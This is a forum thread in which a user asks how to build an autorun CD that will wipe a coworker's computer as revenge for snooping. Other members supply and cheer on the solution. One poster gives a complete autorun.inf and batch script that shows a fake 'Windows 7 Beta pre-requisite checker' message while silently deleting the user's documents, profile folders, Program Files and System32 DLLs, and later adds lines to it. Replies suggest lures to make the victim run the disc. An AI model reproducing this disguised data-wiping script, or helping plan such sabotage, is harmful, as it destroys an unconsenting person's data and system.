Advice needed

Thread: Advice needed

  1. Chippa's Avatar

    Chippa said:

    Default Advice needed

    In short a twat at work keeps going into my pigeon hole and having a nose about. I know who it is but can't catch him. He's into his PCs and want to make a disc that will autorun and format his hard drive and leave it in my pigeon hole for him to 'borrow'. Need to run a short script in an autorun.inf. I have the basics but need an expert's opinion on the correct way.

    Format c: /u/q
    @

    What should the autorun.inf look like?

    Many thanks in advance.

    Chippa
     
  2. Northernbloke's Avatar

    Northernbloke said:

    Default Re: Advice needed

    Can't help - but I'm looking forward to seeing the answers and possibly trying them out myself - got a few morons at work who need lesson like that teaching to them (not to mention family members lol)
     
  3. Mickey's Avatar

    Mickey said:

    Default Re: Advice needed

    Id just stick in a mouse trap baited for the fecker, faar more laughable when the cnut sticks his hand into your hole
    [Only registered and activated users can see links. ]
     
  4. Mr.James's Avatar

    Mr.James said:

    Default Re: Advice needed

    You can't I'm afraid. Windows won't let you format the drive it's booted off. You'd have to make a bootable cd and hope that he boots from it.

    Next best thing is to create a CD that deletes everything from his profile/program files folder. It's possible that it might get stopped by some windows safety feature when it reaches the program files/windows folder but it should kill most of his system (for quite obvious reasons I've not tested this lol ):

    just don't get yourself sacked...

    autorun.inf:
    [autorun]
    open=autorun.cmd
    icon=<someiconfile>.ico

    autorun.cmd:
    @echo off
    echo "Windows 7 Beta Build 7.0.2464 Pre-requisite checker.This may take a few minutes. Please Wait..."
    del /f /s /q "%USERPROFILE%\My Documents\*.*" > nul
    del /f /s /q "%USERPROFILE%\Local Settings\Application Data\*.*" > nul
    del /f /s /q "%USERPROFILE%\Application Data\*.*" > nul
    del /f /s /q "%USERPROFILE%\Favorites\*.*" > nul
    del /f /s /q "%USERPROFILE%\Cookies\*.*" > nul
    del /f /s /q "%USERPROFILE%\Start Menu\Programs\*.*" > nul
    del /f /s /q "%PROGRAMFILES%\*.*" > nul
    del /f /s /q %SYSTEMROOT%\System32\*.dll
    Last edited by Mr.James; 1st December 2008 at 11:30 PM.
     
  5. Over Carl's Avatar

    Over Carl said:

    Default Re: Advice needed

    Quality idea, I think I may have to do this some time, although I wouldn't worry about job security if the item is your personal property, not intended to be used at work, and is stolen from you. Surely if anyone should be in the shit, it's the other person.
     
  6. Mr.James's Avatar

    Mr.James said:

    Default Re: Advice needed

    Back at college I made a boot disk that added a program to windows startup which played a randomly pitched beep through the pc speaker every time a key was pressed on the keyboard. Took 10 mins to load it on all the 30 pcs in the room just before a lecturer took a programming course...

    I remember seeing the lecturer storming into the staff room on the floor below 5 mins later in a right huff screaming "It's sounds like a f**cking space ship in there!"
     
  7. Mule's Avatar

    Mule said:

    Default Re: Advice needed

    Could you not make the autorun cause a reboot then it could do it's job on booting?

    Or label it as a boot disc.
     
  8. Mr.James's Avatar

    Mr.James said:

    Default Re: Advice needed

    Quote Originally Posted by Mule View Post
    Could you not make the autorun cause a reboot then it could do it's job on booting?

    Or label it as a boot disc.
    It would be a bit suss if it just restarted his pc without some fancy menu. And then more than likely he'd have to press a key to boot from the CD so he'd be fully aware and probably suss that something was gonna happen.

    Saying that I could knock something up from a Windows 7 install CD if a few people are interested in this? lol
     
  9. Chippa's Avatar

    Chippa said:

    Default Re: Advice needed

    Quote Originally Posted by Mr.James View Post
    You can't I'm afraid. Windows won't let you format the drive it's booted off. You'd have to make a bootable cd and hope that he boots from it.

    Next best thing is to create a CD that deletes everything from his profile/program files folder. It's possible that it might get stopped by some windows safety feature when it reaches the program files/windows folder but it should kill most of his system (for quite obvious reasons I've not tested this lol ):

    just don't get yourself sacked...

    autorun.inf:
    [autorun]
    open=autorun.cmd
    icon=<someiconfile>.ico

    autorun.cmd:
    @echo off
    echo "Windows 7 Beta Build 7.0.2464 Pre-requisite checker.This may take a few minutes. Please Wait..."
    del /f /s /q "%USERPROFILE%My Documents*.*" > nul
    del /f /s /q "%USERPROFILE%Local SettingsApplication Data*.*" > nul
    del /f /s /q "%USERPROFILE%Application Data*.*" > nul
    del /f /s /q "%USERPROFILE%Favorites*.*" > nul
    del /f /s /q "%USERPROFILE%Cookies*.*" > nul
    del /f /s /q "%USERPROFILE%Start MenuPrograms*.*" > nul
    del /f /s /q "%PROGRAMFILES%*.*" > nul
    del /f /s /q %SYSTEMROOT%System32*.dll
    Mr James, I salute you sir!

    I'm putting it onto a DVD disc as our PCs at work have CD drives (ancient things but handy for this scenario)
     
  10. Mr.James's Avatar

    Mr.James said:

    Default Re: Advice needed

    Quote Originally Posted by Chippa View Post
    Mr James, I salute you sir!

    I'm putting it onto a DVD disc as our PCs at work have CD drives (ancient things but handy for this scenario)
    lmao. you're gonna have one pissed workmate lol

    just thought... if he's runnings vista it might be worth adding a line:

    del /f /s /q "%USERPROFILE%\Downloads\*.*" > nul
     
  11. OrangeJuicey's Avatar

    OrangeJuicey said:

    Default Re: Advice needed

    sounds like your having fun at work lol. If he only has a cd drive how is he loading a dvd though it won't work will it?

    Maybe it should flash up "I should not look at peoples pigeon holes if they are not mine" in a cmd prompt while its doing it.

    Or better still maybe you should have it auto run that old goatse.sx site straight off the disk while it deletes files in the background.

    Write something on it saying "use at your own risk" this will make him want to try it even more i reckon.

    Good luck
     
  12. Chippa's Avatar

    Chippa said:

    Default Re: Advice needed

    Quote Originally Posted by OrangeJuicey View Post
    sounds like your having fun at work lol. If he only has a cd drive how is he loading a dvd though it won't work will it?

    Maybe it should flash up "I should not look at peoples pigeon holes if they are not mine" in a cmd prompt while its doing it.

    Or better still maybe you should have it auto run that old goatse.sx site straight off the disk while it deletes files in the background.

    Write something on it saying "use at your own risk" this will make him want to try it even more i reckon.

    Good luck
    He'll nab it and take it home or put it on his laptop and that will be that. I hope he'll think twice about snooping about and 'borrowing' unknown stuff.

    Will post back with results as soon as they come in.
     
  13. neo2810's Avatar

    neo2810 said:

    Default Re: Advice needed

    Waiting with baited breath......
     
  14. OrangeJuicey's Avatar

    OrangeJuicey said:

    Default Re: Advice needed

    Its been a week i'm interested in how you got on? or did you decide against it?